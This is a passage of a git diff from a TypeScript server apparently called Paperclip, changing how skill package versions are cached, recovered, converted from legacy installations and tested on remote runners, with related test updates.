runId: string; agentId: string }, + context: NativeRuntimeContextSnapshot, +): Promise { + if (!context.skills.some(skill => skill.versionId)) return context; + const [run] = await db.select({ responsibleUserId: heartbeatRuns.responsibleUserId, + contextSnapshot: heartbeatRuns.contextSnapshot }).from(heartbeatRuns).where(and( + eq(heartbeatRuns.companyId, binding.companyId), eq(heartbeatRuns.id, binding.runId), eq(heartbeatRuns.agentId, binding.agentId))); + if (!run) throw new Error("Skill recovery has no matching admitted run"); + const actor = { type: "agent" as const, companyId: binding.companyId, agentId: binding.agentId, + runId: binding.runId, source: "agent_jwt" as const, + onBehalfOfUserId: run.responsibleUserId === "local-board" ? null : run.responsibleUserId }; + const delivery = skillExecutionContent(db, { actor }); + const pins = run.contextSnapshot?.skillVersions; + const skills: NativeRuntimeContextSnapshot["skills"] = []; + for (const skill of context.skills) { + if (!skill.versionId) { skills.push(skill); continue; } + if (pins !== undefined && (!pins || typeof pins !== "object" || Array.isArray(pins) + || (pins as Record)[skill.key] !== skill.versionId)) { + throw new Error("Skill recovery differs from the admitted version selection"); + } + const [version] = await db.select({ skillId: companySkillVersions.companySkillId }).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, binding.companyId), eq(companySkillVersions.id, skill.versionId))); + if (!version) throw new Error("Pinned skill version is unavailable for recovery"); + const bundle = await delivery.withVersion({ companyId: binding.companyId, skillId: version.skillId, versionId: skill.versionId }, + source => materializeSkillAsset(source)); + if (bundle.digest !== skill.bundle.digest || bundle.manifestDigest !== skill.bundle.manifestDigest + || bundle.fileCount !== skill.bundle.fileCount || bundle.totalBytes !== skill.bundle.totalBytes) { + throw new Error("Recovered skill projection does not match its admitted digest"); + } + skills.push({ ...skill, bundle }); + } + return { ...context, skills }; +} + export async function materializeSelectedSkills(runtimeConfig: Record, entries: PaperclipSkillEntry[], omitLegacy: boolean) { const desiredKeys = resolvePaperclipDesiredSkillNames(runtimeConfig, entries).filter( (key) => !omitLegacy || key !== PAPERCLIP_OPERATIONAL_SKILL_KEY, @@ -194,16 +243,7 @@ export async function materializeSelectedSkills(runtimeConfig: Record cachedSkillAsset(entry.source)); - if (!bundle) { - const files = await measureRunPhase("runtime_context.asset_read", () => collectDirectoryFiles(entry.source)); - bundle = await materializeAsset(files); - const manifest: FileManifestEntry[] = files.map(file => ({ path: file.path, size: file.content.length, - sha256: sha256(file.content), mode: file.mode & 0o555, executable: Boolean(file.mode & 0o111) })); - // Populate the stat/digest cache against these exact source bytes before - // remembering the reference. A concurrent source edit cannot seed it. - if (await verifyFileManifest(entry.source, manifest)) rememberSkillAsset(entry.source, manifest, bundle); - } + const bundle = await materializeSkillAsset(entry.source); return { key: entry.key, runtimeName: safeRelativePath(entry.runtimeName, `runtime name for ${key}`), versionId: entry.versionId ?? entry.currentVersionId ?? null, bundle }; })); } diff --git a/server/src/services/native-runtime/runtime-mode.test.ts b/server/src/services/native-runtime/runtime-mode.test.ts index 381d77fc2da..7baeaee0483 100644 --- a/server/src/services/native-runtime/runtime-mode.test.ts +++ b/server/src/services/native-runtime/runtime-mode.test.ts @@ -419,10 +419,16 @@ describe("resolveNativeRuntimeMode", () => { it("rejects an explicit native profile outside the approved boundary", () => { expect(resolveNativeRuntimeMode({ ...eligible, agent: { ...eligible.agent, adapterType: "claude_local" } })) .toEqual(expect.objectContaining({ kind: "legacy", reason: "direct_adapter" })); - expect(() => resolveNativeRuntimeMode({ ...eligible, issue: { id: "issue", workMode: "skill_test" } })) + expect(() => resolveNativeRuntimeMode({ ...eligible, issue: { id: "issue", workMode: "unknown" } })) .toThrow(NativeRuntimeEligibilityError); }); + it("admits Skills Studio tests on remote Runners", () => { + expect(resolveNativeRuntimeMode({ ...eligible, + issue: { id: "skill-test", workMode: "skill_test" }, target: { kind: "remote" }, + })).toMatchObject({ kind: "native", profile: { backend: "codex_app_server" } }); + }); + it("admits remote targets only through paperclip_runner", () => { expect(resolveNativeRuntimeMode({ ...eligible, diff --git a/server/src/services/native-runtime/runtime-mode.ts b/server/src/services/native-runtime/runtime-mode.ts index 49dbd93e466..3de349db718 100644 --- a/server/src/services/native-runtime/runtime-mode.ts +++ b/server/src/services/native-runtime/runtime-mode.ts @@ -156,11 +156,11 @@ export function resolveNativeRuntimeMode(input: { "Paperclip Runner requires an active agent.", ); } - const allowedWorkModes = ["standard", "planning", "ask"]; + const allowedWorkModes = ["standard", "planning", "ask", "skill_test"]; if (!input.issue || !allowedWorkModes.includes(input.issue.workMode)) { throw ineligible( "paperclip_runner_issue_ineligible", - "Paperclip Runner requires a standard, planning, or ask task.", + "Paperclip Runner requires a standard, planning, ask, or skill test task.", ); } const rollout = resolveNativeMigrationStatus({ diff --git a/server/src/services/native-runtime/status-decision-committer.ts b/server/src/services/native-runtime/status-decision-committer.ts index 78078a0a7ac..a43868dd25f 100644 --- a/server/src/services/native-runtime/status-decision-committer.ts +++ b/server/src/services/native-runtime/status-decision-committer.ts @@ -66,6 +66,7 @@ import { resolveExternalChatResponseWaitAuthorizationInTransaction, } from "./chat-attachment-reuse.js"; import { issueService } from "../issues.js"; +import { companySkillService } from "../company-skills.js"; import { syncRoutineRunStatusForIssue } from "../routine-run-status.js"; import { issueThreadInteractionService } from "../issue-thread-interactions.js"; import { issueRecoveryActionService } from "../issue-recovery-actions.js"; @@ -2231,6 +2232,31 @@ export async function commitNativeStatusDecision(input: { if (updated.originKind === "routine_execution") { await syncRoutineRunStatusForIssue(tx as unknown as Db, input.issueId); } + // Native task completion bypasses the REST issue route. Commit the Studio + // output with the authoritative task status so restart cannot lose it. + // The durable test row, not a mutable task mode, identifies the obligation. + if (issue.status !== updated.status && (updated.status === "done" || updated.status === "cancelled")) { + const testRun = await companySkillService(tx as unknown as Db).completeTestRunForIssue({ + companyId: input.companyId, + issueId: input.issueId, + outcome: updated.status === "done" ? "succeeded" : "cancelled", + error: updated.status === "cancelled" ? "Harness issue was cancelled" : null, + }); + if (testRun) { + const { publication } = await persistActivity(tx as unknown as Db, { + companyId: input.companyId, + actorType: "system", + actorId: "native-status-committer", + runId: input.runId, + action: "company.skill_test_run_completed", + entityType: "company_skill_test_run", + entityId: testRun.id, + issueId: input.issueId, + details: { issueId: input.issueId, status: testRun.status, outputDocumentKey: testRun.outputDocumentKey }, + }); + publications.push(publication); + } + } materialized.unshift({ effectKind: "issue_status_projection", targetType: "issue", diff --git a/server/src/services/native-runtime/task-reassignment.test.ts b/server/src/services/native-runtime/task-reassignment.test.ts index 8f3d86b0638..1e7a4f2cf74 100644 --- a/server/src/services/native-runtime/task-reassignment.test.ts +++ b/server/src/services/native-runtime/task-reassignment.test.ts @@ -2,17 +2,17 @@ import { randomUUID } from "node:crypto"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import { eq, and } from "drizzle-orm"; import { activityLog, agents, authUsers, companyMemberships, companies, createDb, heartbeatRuns, issues, issueComments } from "@paperclipai/db"; -import { startEmbeddedPostgresTestDatabase } from "../../__tests__/helpers/embedded-postgres.js"; +import { startRecoveryPostgres } from "../../__tests__/helpers/recovery-postgres.js"; import { issueService } from "../issues.js"; import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; describe("runner task reassignment", () => { - let temporary: Awaited>; + let temporary: Awaited>; let db: ReturnType; beforeAll(async () => { - temporary = await startEmbeddedPostgresTestDatabase("runner-reassign-"); + temporary = await startRecoveryPostgres("runner-reassign-"); db = createDb(temporary.connectionString); - }); + }, 60_000); afterAll(async () => { await temporary?.cleanup(); }); async function fixture(status = "todo") { @@ -183,7 +183,9 @@ describe("runner task reassignment", () => { it.each(["planning", "ask", "skill_test"])("denies reassignment from %s mode", async workMode => { const f = await fixture(); await db.update(issues).set({ workMode }).where(eq(issues.id, f.issueId)); - await expect(f.authority.execute(f.call)).rejects.toThrow("mode_denied"); + if (workMode === "skill_test") await expect(f.authority.execute(f.call)).rejects.toMatchObject({ status: 403 }); + else await expect(f.authority.execute(f.call)).rejects.toThrow("mode_denied"); + expect(f.stopTaskForReassignment).not.toHaveBeenCalled(); }); it("denies foreign targets and unavailable assignees", async () => { diff --git a/server/src/services/skill-execution-content.ts b/server/src/services/skill-execution-content.ts new file mode 100644 index 00000000000..50c19517e53 --- /dev/null +++ b/server/src/services/skill-execution-content.ts @@ -0,0 +1,52 @@ +import { promises as fs } from "node:fs"; +import path from "node:path"; +import type { Db } from "@paperclipai/db"; +import type { AuthorizationActor } from "./authorization.js"; +import { notFound, unprocessable } from "../errors.js"; +import { skillAccessService } from "./skill-access.js"; +import { skillPackageStore } from "./skill-package-store.js"; +import { skillPackageRuntime } from "./skill-package-runtime.js"; +import { skillPackageManifest, verifySkillPackageDirectory } from "./skill-package-files.js"; +import { skillFileBytes } from "./skill-snapshot.js"; +import { ensureSkillCacheDirectory, skillVersionCachePaths, touchSkillVersionCache, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { runVersionSnapshotFlight } from "./skill-version-retention.js"; + +export type SkillContentReference = { companyId: string; skillId: string; versionId: string }; + +export function skillExecutionContent(db: Db, options: { actor?: AuthorizationActor; packageDb?: Db } = {}) { + const packages = skillPackageStore(options.packageDb ?? db); + const runtime = skillPackageRuntime(options.packageDb ?? db); + async function withVersion(reference: SkillContentReference, consume: (directory: string) => Promise): Promise { + const { companyId, skillId, versionId } = reference; + await skillAccessService(db, options.actor).assertSkill(companyId, skillId); + return withSkillVersionCacheLock(db, companyId, async () => { + const version = await packages.version(companyId, skillId, versionId); + if (!version) throw notFound("Skill version not found"); + const { directory } = skillVersionCachePaths(companyId, skillId, versionId); + await runVersionSnapshotFlight(directory, async () => { + if (version.repositorySnapshotId || version.packageSnapshotId) return runtime.materialize(version, directory); + const files = await packages.versionFiles(version); + if (!files.some(file => file.path === "SKILL.md")) throw unprocessable("Skill version has no SKILL.md snapshot."); + const manifest = skillPackageManifest(files); + const parent = path.dirname(directory); + await ensureSkillCacheDirectory(parent, true); + if (await verifySkillPackageDirectory(directory, manifest.files)) return directory; + const staging = await fs.mkdtemp(path.join(parent, `.${versionId}-`)); + try { + for (const file of files) { + const target = path.join(staging, file.path); + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, skillFileBytes(file), { mode: file.executable ? 0o555 : 0o444 }); + } + if (!await verifySkillPackageDirectory(staging, manifest.files)) throw new Error("Skill delivery verification failed"); + await fs.rm(directory, { recursive: true, force: true }); + await fs.rename(staging, directory); + return directory; + } finally { await fs.rm(staging, { recursive: true, force: true }); } + }); + await touchSkillVersionCache(companyId, skillId, versionId); + return consume(directory); + }); + } + return { withVersion }; +} diff --git a/server/src/services/skill-installation-maintenance.ts b/server/src/services/skill-installation-maintenance.ts new file mode 100644 index 00000000000..d283a42af34 --- /dev/null +++ b/server/src/services/skill-installation-maintenance.ts @@ -0,0 +1,236 @@ +import { constants, promises as fs } from "node:fs"; +import path from "node:path"; +import { and, asc, eq, gt, sql } from "drizzle-orm"; +import { companySkills, companySkillVersions, type Db } from "@paperclipai/db"; +import { parseFrontmatterMarkdown, type CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; +import { conflict } from "../errors.js"; +import { classifyInventoryKind, companySkillService } from "./company-skills.js"; +import { managedSkillContent } from "./managed-skill-content.js"; +import { skillPackageStore, skillVersionMetadataColumns } from "./skill-package-store.js"; +import { skillPackageMaintenance } from "./skill-package-maintenance.js"; +import { skillPackageManifest } from "./skill-package-files.js"; +import { assertSkillSnapshotPath, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES, skillSnapshotHash, snapshotFile } from "./skill-snapshot.js"; +import { protectedVersions, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { getStorageService, type StorageService } from "../storage/index.js"; + +type Page = { companyId?: string; after?: string; id?: string; limit?: number; signal?: AbortSignal }; +type Conversion = Page & { apply?: boolean; writersStopped?: boolean }; +const limit = (options: Page) => Math.min(50, Math.max(1, options.limit ?? 10)); +const legacyManaged = (skill: typeof companySkills.$inferSelect) => skill.sourceType === "local_path" && skill.metadata?.sourceKind === "managed_local"; +const linkedLocal = (skill: typeof companySkills.$inferSelect) => skill.sourceType === "local_path" + && !legacyManaged(skill) && skill.metadata?.sourceKind !== "paperclip_bundled"; +function coversInstalledInventory(skill: typeof companySkills.$inferSelect, files: Array<{ path: string }>) { + const paths = new Set(files.map(file => file.path)); + return paths.has("SKILL.md") && skill.fileInventory.every(file => typeof file.path === "string" && paths.has(file.path)); +} + +async function legacyFiles(skill: typeof companySkills.$inferSelect, signal?: AbortSignal) { + if (!skill.sourceLocator || !path.isAbsolute(skill.sourceLocator)) return null; + const source = path.resolve(skill.sourceLocator); + const root = path.basename(source) === "SKILL.md" ? path.dirname(source) : source; + const stat = await fs.lstat(root).catch((error: NodeJS.ErrnoException) => { + if (error.code === "ENOENT") return null; + throw error; + }); + if (!stat) return null; + if (!stat.isDirectory() || stat.isSymbolicLink()) throw new Error("Legacy skill root is not a safe directory"); + const files: CompanySkillVersionFileInventoryEntry[] = []; + let bytes = 0; + async function visit(directory: string) { + for (const entry of await fs.readdir(directory, { withFileTypes: true })) { + signal?.throwIfAborted(); + if (entry.name === ".git" || entry.name === "node_modules") continue; + const absolute = path.join(directory, entry.name); + if (entry.isSymbolicLink()) throw new Error("Legacy skill contains a symbolic link"); + if (entry.isDirectory()) { await visit(absolute); continue; } + if (!entry.isFile()) throw new Error("Legacy skill contains an unsupported file"); + const relative = assertSkillSnapshotPath(path.relative(root, absolute).split(path.sep).join("/")); + const handle = await fs.open(absolute, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const stat = await handle.stat(); + if (!stat.isFile()) throw new Error("Legacy skill contains an unsupported file"); + bytes += stat.size; + if (files.length >= MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) throw new Error("Legacy skill exceeds package limits"); + const body = Buffer.alloc(stat.size); + let offset = 0; + while (offset < body.length) { + signal?.throwIfAborted(); + const { bytesRead } = await handle.read(body, offset, body.length - offset, offset); + if (!bytesRead) throw new Error("Legacy skill changed during conversion"); + offset += bytesRead; + } + const after = await handle.stat(); + if (after.size !== stat.size || after.mtimeMs !== stat.mtimeMs) throw new Error("Legacy skill changed during conversion"); + files.push(snapshotFile(relative, classifyInventoryKind(relative), body, Boolean(stat.mode & 0o111))); + } finally { await handle.close(); } + } + } + await visit(root); + if (!files.some(file => file.path === "SKILL.md" && file.encoding !== "base64")) throw new Error("Legacy skill is missing UTF-8 SKILL.md"); + return files; +} + +export function skillInstallationMaintenance(db: Db, storage?: StorageService) { + const store = skillPackageStore(db, storage); + const content = managedSkillContent(db, db, storage); + const provider = () => (storage ?? getStorageService()).provider; + function scope(options: Page) { + return and(options.companyId ? eq(companySkills.companyId, options.companyId) : undefined, + options.id ? eq(companySkills.id, options.id) : undefined, + options.after ? gt(companySkills.id, options.after) : undefined); + } + async function installations(options: Conversion = {}) { + if (options.apply && !options.writersStopped) throw conflict("Installation conversion requires stopped admission and retired legacy writers (--writers-stopped)."); + const skills = await db.select().from(companySkills).where(scope(options)).orderBy(asc(companySkills.id)).limit(limit(options)); + const results: Array<{ skillId: string; companyId: string; status: string; versionId?: string | null; reason?: string }> = []; + for (const skill of skills) { + options.signal?.throwIfAborted(); + const catalogOrigin = skill.sourceType === "catalog" && !skill.metadata?.originVersionId; + if (linkedLocal(skill)) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "linked_local", versionId: skill.currentVersionId }); + continue; + } + try { + const version = skill.currentVersionId ? await store.version(skill.companyId, skill.id, skill.currentVersionId) : null; + const complete = version && coversInstalledInventory(skill, await store.versionInventory(version)); + if (!legacyManaged(skill) && !catalogOrigin && complete) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "unchanged", versionId: skill.currentVersionId }); + continue; + } + const pins = await protectedVersions(db, skill.companyId); + if (pins.versions === null) throw new Error("Active run lacks an exact durable skill selection; settle or snapshot it on the legacy server first"); + const saved = version ? await store.versionFiles(version) : null; + const local = await legacyFiles(skill, options.signal); + const completeSaved = saved && coversInstalledInventory(skill, saved) ? saved : null; + const files = local ?? completeSaved ?? ((skill.sourceType === "github" || skill.sourceType === "skills_sh" || skill.sourceType === "url") + ? await companySkillService(db).captureLegacyInstallation(skill.companyId, skill.id) : null); + const origin = catalogOrigin && typeof skill.metadata?.originSnapshotLocator === "string" + ? await legacyFiles({ ...skill, sourceLocator: skill.metadata.originSnapshotLocator }, options.signal) : null; + if (catalogOrigin && !origin && skill.metadata?.userModifiedAt) { + throw new Error("Catalog reset snapshot is unavailable; preserve the original installed package before conversion"); + } + if (!files?.length || !files.some(file => file.path === "SKILL.md")) throw new Error("Neither complete legacy files nor a saved version is available"); + if (!local && !coversInstalledInventory(skill, files)) { + throw new Error("Saved version does not cover the installed inventory"); + } + if (!options.apply) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "conversion_required", versionId: skill.currentVersionId }); + continue; + } + if (version && saved && !version.packageSnapshotId && skillSnapshotHash(saved) === skillSnapshotHash(files)) { + await skillPackageMaintenance(db, storage).migrateVersions({ id: version.id, apply: true, clearLegacy: true, signal: options.signal }); + } + const candidate = await content.prepare(skill.companyId, files, options.signal); + if (!candidate.packageSnapshotId || !await store.verifyDurable(skill.companyId, candidate.packageSnapshotId, options.signal)) { + throw new Error("Final snapshot is not independently recoverable from object storage"); + } + let originVersionId = typeof skill.metadata?.originVersionId === "string" ? skill.metadata.originVersionId : null; + if (catalogOrigin && origin && skillSnapshotHash(origin) !== skillSnapshotHash(files)) { + originVersionId = (await companySkillService(db).createVersion(skill.companyId, skill.id, + { label: "Original catalog package" }, { type: "system" }, { + fileInventory: origin, updateCurrentVersion: false, skipInventoryRefresh: true, + })).id; + } + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const { missingSource: _missing, ...metadata } = skill.metadata ?? {}; + const result = await withSkillVersionCacheLock(db, skill.companyId, () => content.publish(skill, candidate, { + ...(legacyManaged(skill) ? { sourceType: "managed", sourceLocator: null } : {}), markdown, + name: typeof parsed.frontmatter.name === "string" ? parsed.frontmatter.name : skill.name, + description: typeof parsed.frontmatter.description === "string" ? parsed.frontmatter.description : skill.description, + fileInventory: files.map(({ path, kind }) => ({ path, kind })), + trustLevel: files.some(file => file.kind === "script" || file.executable) ? "scripts_executables" + : files.some(file => file.kind === "asset" || file.kind === "other") ? "assets" : "markdown_only", + metadata: { ...metadata, ...(legacyManaged(skill) ? { sourceKind: "managed" } : {}), + ...(originVersionId ? { originVersionId } : {}) }, + }, { type: "system" }, { label: "Legacy installation conversion", + reuseCurrentVersion: Boolean(saved && skillSnapshotHash(saved) === skillSnapshotHash(files)), + afterPublish: async (tx, row, version) => { + if (catalogOrigin && !originVersionId) await tx.update(companySkills) + .set({ metadata: { ...row.metadata, originVersionId: version.id } }).where(eq(companySkills.id, row.id)); + }, + })); + results.push({ skillId: skill.id, companyId: skill.companyId, status: "converted", versionId: result.version.id }); + } catch (error) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "blocked", reason: error instanceof Error ? error.message : "Conversion failed" }); + } + } + return { inspected: skills.length, after: skills.at(-1)?.id ?? null, results }; + } + + async function eligibility(options: Page = {}) { + const skills = await db.select().from(companySkills).where(scope(options)).orderBy(asc(companySkills.id)).limit(limit(options)); + const results = []; + for (const skill of skills) { + const pins = await protectedVersions(db, skill.companyId); + let status = linkedLocal(skill) ? "linked_local" : legacyManaged(skill) ? "legacy_managed" : "version_backed"; + if (pins.versions === null) status = "unsupported_active_run"; + else if (!linkedLocal(skill) && !skill.currentVersionId) status = "missing_current_version"; + else if (skill.sourceType === "catalog" && !skill.metadata?.originVersionId) status = "legacy_catalog_origin"; + else if (status === "version_backed" && skill.currentVersionId) { + try { + const version = await store.version(skill.companyId, skill.id, skill.currentVersionId); + if (!version) status = "unavailable_current_version"; + else if (!coversInstalledInventory(skill, await store.versionInventory(version))) status = "incomplete_current_version"; + } catch { status = "unavailable_current_version"; } + } + results.push({ skillId: skill.id, companyId: skill.companyId, sourceType: skill.sourceType, versionId: skill.currentVersionId, status }); + } + return { inspected: skills.length, after: skills.at(-1)?.id ?? null, results, contentVerified: false }; + } + + async function verifyVersions(options: Page = {}) { + const versions = await db.select(skillVersionMetadataColumns).from(companySkillVersions).where(and( + options.companyId ? eq(companySkillVersions.companyId, options.companyId) : undefined, + options.id ? eq(companySkillVersions.id, options.id) : undefined, + options.after ? gt(companySkillVersions.id, options.after) : undefined, + )).orderBy(asc(companySkillVersions.id)).limit(limit(options)); + const results = []; + for (const version of versions) { + options.signal?.throwIfAborted(); + const packageId = version.repositorySnapshotId ?? version.packageSnapshotId; + let status = "missing_package"; + try { + if (packageId) { + const receipt = await store.descriptor(version.companyId, packageId); + status = !receipt.storage ? "no_durable_receipt" : receipt.storage.provider !== provider() ? "provider_mismatch" + : receipt.storage.provider === "local_disk" ? "local_storage" : "remote_storage"; + if (receipt.storage && receipt.storage.provider === provider() + && !await store.verifyDurable(version.companyId, packageId, options.signal)) status = "corrupt_package"; + if (!receipt.storage && receipt.restorable && version.repositorySnapshotId === packageId) { + const active = await protectedVersions(db, version.companyId); + const [protectedRow] = await db.execute(sql`select 1 from company_skills + where company_id = ${version.companyId} and current_version_id = ${version.id} + union all select 1 from company_skill_test_runs where company_id = ${version.companyId} + and status in ('queued', 'running') and skill_version_id = ${version.id} + union all select 1 from agents where company_id = ${version.companyId} + and adapter_config::text like ${`%${version.id}%`} limit 1`); + if (!protectedRow && active.versions && !active.versions.has(version.id) + && Date.now() - receipt.createdAt.getTime() >= 30 * 24 * 60 * 60_000) { + await store.recoveryRecipe(version.companyId, packageId); + status = "expired_git_history"; + } + } + } else { + const files = await store.versionFiles(version, false, options.signal); + skillPackageManifest(files); + status = files.some(file => file.path === "SKILL.md" && file.encoding !== "base64") + ? version.releaseId ? "database_release_snapshot" : "database_snapshot" + : "incomplete_database_snapshot"; + } + // A valid archive can still be an incomplete legacy installation. Compare + // only the current head: historical revisions may legitimately omit files + // that were added later. Inventory reads do not load SQL package bodies. + const [installed] = await db.select().from(companySkills).where(and( + eq(companySkills.companyId, version.companyId), eq(companySkills.id, version.companySkillId), + eq(companySkills.currentVersionId, version.id), + )); + if (installed && !linkedLocal(installed) + && !coversInstalledInventory(installed, await store.versionInventory(version))) status = "incomplete_current_version"; + } catch { status = "unavailable_or_corrupt_package"; } + results.push({ companyId: version.companyId, skillId: version.companySkillId, versionId: version.id, packageId, status }); + } + return { inspected: versions.length, after: versions.at(-1)?.id ?? null, results }; + } + return { installations, eligibility, verifyVersions }; +} diff --git a/server/src/services/skill-package-maintenance.ts b/server/src/services/skill-package-maintenance.ts index c6b714205ee..8f33396cfbe 100644 --- a/server/src/services/skill-package-maintenance.ts +++ b/server/src/services/skill-package-maintenance.ts @@ -1,5 +1,5 @@ import path from "node:path"; -import { and, asc, eq, gt, isNull, lte, sql } from "drizzle-orm"; +import { and, asc, eq, gt, isNull, lte, or, sql } from "drizzle-orm"; import { companySkillRepositorySnapshots as snapshots, companySkillVersions as versions, skillPackageDeletions, type Db } from "@paperclipai/db"; import { getStorageService, type StorageService } from "../storage/index.js"; @@ -43,7 +43,8 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { const rows = await db.select(skillVersionMetadataColumns).from(versions).where(and( options.companyId ? eq(versions.companyId, options.companyId) : undefined, options.id ? eq(versions.id, options.id) : undefined, - options.after ? gt(versions.id, options.after) : undefined, options.clearLegacy ? undefined : isNull(versions.packageSnapshotId), isNull(versions.releaseId))) + options.after ? gt(versions.id, options.after) : undefined, + options.clearLegacy ? undefined : or(isNull(versions.packageSnapshotId), isNull(versions.packageFileMap)), isNull(versions.releaseId))) .orderBy(asc(versions.id)).limit(pageSize(options)); let migrated = 0; if (options.apply) for (const row of rows) { @@ -51,6 +52,15 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { const files = legacy?.files; options.signal?.throwIfAborted(); if (!files?.length) { + if (row.packageSnapshotId && !row.packageFileMap) { + const manifest = await store.manifest(row.companyId, row.packageSnapshotId, options.signal); + const changed = await db.update(versions).set({ packageFileMap: skillVersionFileMap(manifest.files), migrationAt: null }) + .where(and(eq(versions.companyId, row.companyId), eq(versions.id, row.id), + eq(versions.packageSnapshotId, row.packageSnapshotId), isNull(versions.packageFileMap))) + .returning({ id: versions.id }); + migrated += changed.length; + continue; + } await db.update(versions).set({ migrationAt: null }).where(eq(versions.id, row.id)); continue; } @@ -71,7 +81,7 @@ export function skillPackageMaintenance(db: Db, storage?: StorageService) { packageId ??= await store.prepare(row.companyId, files, true, options.signal); const legacyMetadata = new Map(files.map(file => [file.path, file])); fileMap = fileMap ? fileMap.map(file => ({ ...file, kind: legacyMetadata.get(file.path)?.kind ?? file.kind, - encoding: legacyMetadata.get(file.path)?.encoding ?? "utf8" })) : skillVersionFileMap(files, await store.manifest(row.companyId, packageId, options.signal)); + encoding: legacyMetadata.get(file.path)?.encoding ?? "utf8" })) : skillVersionFileMap(files); const receipt = await store.descriptor(row.companyId, packageId); if (!receipt.storage || !await store.verifyDurable(row.companyId, packageId, options.signal)) throw new Error(`Package must be migrated and verified first: ${packageId}`); await db.update(versions).set({ packageSnapshotId: packageId, packageFileMap: fileMap, ...(options.clearLegacy ? { fileInventory: [], migrationAt: null } : {}) }) diff --git a/server/src/services/skill-package-store.ts b/server/src/services/skill-package-store.ts index 075fab6efff..5b88c571fce 100644 --- a/server/src/services/skill-package-store.ts +++ b/server/src/services/skill-package-store.ts @@ -30,10 +30,15 @@ type Descriptor = Pick`'[]'::jsonb` }; export type StoredSkillVersion = typeof companySkillVersions.$inferSelect; -export function skillVersionFileMap(files: CompanySkillVersionFileInventoryEntry[], manifest: SkillPackageManifest): SkillPackageFileMapping[] | null { - const stored = new Map(manifest.files.map(file => [file.path, file])); - if (files.every(file => stored.get(file.path)?.kind === file.kind && stored.get(file.path)?.encoding === (file.encoding ?? "utf8"))) return null; - return files.map(file => ({ path: file.path, sourcePath: file.path, kind: file.kind, encoding: file.encoding ?? "utf8" })); +export function skillVersionFileMap(files: Array>): SkillPackageFileMapping[] { + return files.map(file => ({ path: file.path, sourcePath: file.path, kind: file.kind, encoding: file.encoding ?? "utf8" as const })); +} +export function skillVersionUsesWholePackage(version: Pick, manifest: SkillPackageManifest) { + if (!version.packageFileMap) return true; + const paths = new Set(version.packageFileMap.map(file => file.path)); + return paths.size === manifest.files.length && version.packageFileMap.length === manifest.files.length + && version.packageFileMap.every(file => file.path === file.sourcePath) + && manifest.files.every(file => paths.has(file.path)); } type ReadScope = { db: Db; descriptors: Map>; durable: Map>; versions: Map }; const readScope = new AsyncLocalStorage(); @@ -197,6 +202,13 @@ export function skillPackageStore(db: Db, suppliedStorage?: StorageService, cach const [saved] = await database.select({ restore: snapshots.restore }).from(snapshots).where(scope(row.companyId, row.id)); const recipe = saved?.restore; if (!recipe || recipe.version !== 1) throw notFound("This skill package has no exact-commit restore recipe"); + const url = new URL(recipe.repositoryUrl); + if (!/^[a-f0-9]{40}$/i.test(recipe.commitSha) || !recipe.sourceId || !recipe.repositoryId + || url.protocol !== "https:" || url.hostname !== "github.com" || url.username || url.password + || !/^\/[^/]+\/[^/]+$/.test(url.pathname) || url.search || url.hash) { + throw new Error("Invalid immutable skill package recipe"); + } + if (recipe.skillPath) assertSkillSnapshotPath(recipe.skillPath); const manifest = validateSkillPackageManifest(recipe.manifest); if (manifest.contentHash !== row.contentHash || (row.storage && packageSha256(skillPackageManifestBytes(manifest)) !== row.storage.manifestSha256)) { throw new Error("Skill package restore recipe does not match its receipt"); @@ -670,5 +682,6 @@ export function skillPackageStore(db: Db, suppliedStorage?: StorageService, cach return row?.files ?? []; } return { descriptor, prepare, bindRestore, files, version, prefetch, versionFiles, versionInventory, readVersionFile, withPackage, withIsolatedPackage, verifyDurable, + recoveryRecipe: async (companyId: string, id: string) => restoreRecipe(await descriptor(companyId, id)), manifest: async (companyId: string, id: string, cancellation?: AbortSignal) => manifestFor(await descriptor(companyId, id), cancellation) }; } diff --git a/server/src/services/skill-sources.ts b/server/src/services/skill-sources.ts index 54ed9473116..ce9bc589ecf 100644 --- a/server/src/services/skill-sources.ts +++ b/server/src/services/skill-sources.ts @@ -7,7 +7,6 @@ import { listSkillSourceBranches } from './skill-source-branches.js'; import { createHash, randomUUID } from 'node:crypto'; import { skillSourceRetryAt } from './skill-source-retry.js'; import path from 'node:path'; -import { promises as fs } from 'node:fs'; import { folderService } from './folders.js'; import { and, eq, isNull, lt, or, sql } from 'drizzle-orm'; import { companySkillSources as sources, companySkillSourceEntries as entries, companySkills, companySkillRepositorySnapshots, projectSkillSources, projects, type Db, type SkillPackageRestoreRecipe, authUsers } from '@paperclipai/db'; @@ -450,20 +449,17 @@ export function skillSourceService(db: Db) { const [user] = await db.select({ name: authUsers.name }).from(authUsers).where(eq(authUsers.id, context.actor.userId)); folderId = (await folderService(db).ensureMyFolder(companyId, context.actor.userId, user?.name ?? null)).id; } - const directories: string[] = []; - try { - return await db.transaction(async tx => { - await tx.execute(sql`SET CONSTRAINTS paperclip_skill_runtime_changed DEFERRED`); - await lock(tx); - for (const skillId of skillIds) await skills.makeImportedSkillEditable(companyId, skillId, context.actor, folderId, tx, directories); - await remove(tx, skillIds.length, 0); - return { id, copiedCount: skillIds.length, deletedCount: 0 }; - }); - } catch (error) { - await Promise.all(directories.map(directory => fs.rm(directory, { recursive: true, force: true }))); - throw error; - } + const prepared: Array>> = []; + for (const skillId of skillIds) prepared.push(await skills.prepareImportedSkillEditable(companyId, skillId)); + return db.transaction(async tx => { + await tx.execute(sql`SET CONSTRAINTS paperclip_skill_runtime_changed DEFERRED`); + await lock(tx); + for (const candidate of prepared) await 